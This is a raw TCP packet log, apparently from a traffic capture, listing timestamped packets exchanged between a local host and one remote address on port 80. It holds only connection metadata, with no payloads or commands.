Nov 20, 2024 05:02:21.584414959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584424019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584430933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584434032 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584443092 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584448099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584464073 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584467888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584476948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584479094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584487915 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584497929 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584511995 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584515095 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584531069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584547043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584548950 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584563971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584573030 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584580898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584594011 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584597111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584604025 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584611893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584624052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584628105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584631920 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584644079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584651947 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584661961 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584670067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584671974 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584819078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584834099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584849119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584851027 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584867954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584872007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584886074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584897995 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584902048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584908009 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584918976 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584927082 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584935904 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584935904 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584954977 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584964037 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584969997 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584980011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584995031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585000038 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585010052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585011959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585031033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585042000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585136890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585151911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585166931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585171938 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585181952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585181952 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585197926 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585201979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585212946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585216045 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585228920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585228920 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585244894 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585264921 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585269928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585288048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585300922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585316896 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585321903 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585333109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585340023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585349083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585364103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585365057 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585391998 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585407972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585410118 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585423946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585439920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585442066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585453033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585457087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585473061 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585473061 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585489988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585491896 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585505009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585505962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585515976 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585522890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585539103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585540056 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585560083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585561037 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585570097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585576057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585591078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585606098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585613012 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585621119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585627079 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585637093 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585648060 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585653067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585659027 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585669994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585670948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585680962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585685968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585701942 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585711002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585711002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585717916 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585730076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585733891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585750103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585757017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585766077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585766077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585774899 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585783005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585798979 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585813046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585813999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585834980 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585850954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.585910082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.585947990 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586051941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586066961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586082935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586091995 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586097956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586103916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586124897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586129904 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586139917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586141109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586153984 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586170912 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586175919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586186886 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586203098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586205959 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586215019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586219072 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586235046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586236000 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586246014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586252928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586268902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586280107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586333990 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586349010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586364031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586373091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586379051 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586380959 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586388111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586407900 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586410999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586431980 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586451054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586452961 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586474895 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586483955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586492062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586507082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586509943 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586519003 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586524010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586539984 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586540937 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586559057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586575031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586576939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586577892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586599112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586607933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586618900 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586658001 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586680889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586694002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586697102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586713076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586713076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586730003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586730957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586740971 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586745977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586762905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586764097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586781025 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586796045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586802006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586812019 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586812019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586827993 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586832047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586843967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586850882 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586859941 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586859941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586870909 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586875916 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586891890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586893082 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586908102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586908102 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586925983 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586930990 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586941004 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586941957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586954117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586958885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586972952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586975098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.586985111 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.586992025 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587002993 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587007999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587023973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587024927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587035894 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587040901 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587058067 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587078094 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587294102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587308884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587337017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587338924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587349892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587356091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587371111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587377071 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587387085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587404966 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587405920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587415934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587443113 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587459087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587471962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587471962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587474108 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587491035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587498903 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587506056 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587507963 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587518930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587522984 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587538004 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587539911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587555885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587567091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587584972 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587613106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587635994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587654114 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587668896 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587687016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587702036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587712049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587717056 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587722063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587722063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587722063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587733030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587747097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587748051 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587760925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587765932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587781906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587783098 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587806940 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587810993 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587816954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587826967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587841988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587848902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587857008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587872028 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587883949 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587889910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587905884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.587922096 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587922096 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.587935925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.754745007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.754853964 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.759677887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.759708881 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.759759903 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.759867907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.759884119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.759922981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.759927034 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.759947062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.759958982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.759963989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.759982109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.759985924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760004044 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760029078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760062933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760067940 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760080099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760094881 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760109901 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760114908 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760124922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760124922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760142088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760154009 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760158062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760166883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760175943 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760183096 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760191917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760194063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760207891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760216951 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760225058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760226011 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760241032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760246038 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760253906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760258913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760274887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760276079 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760288954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760291100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760308981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.760309935 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.760325909 CET	80	49730	185.156.72.65	192.168.2.4
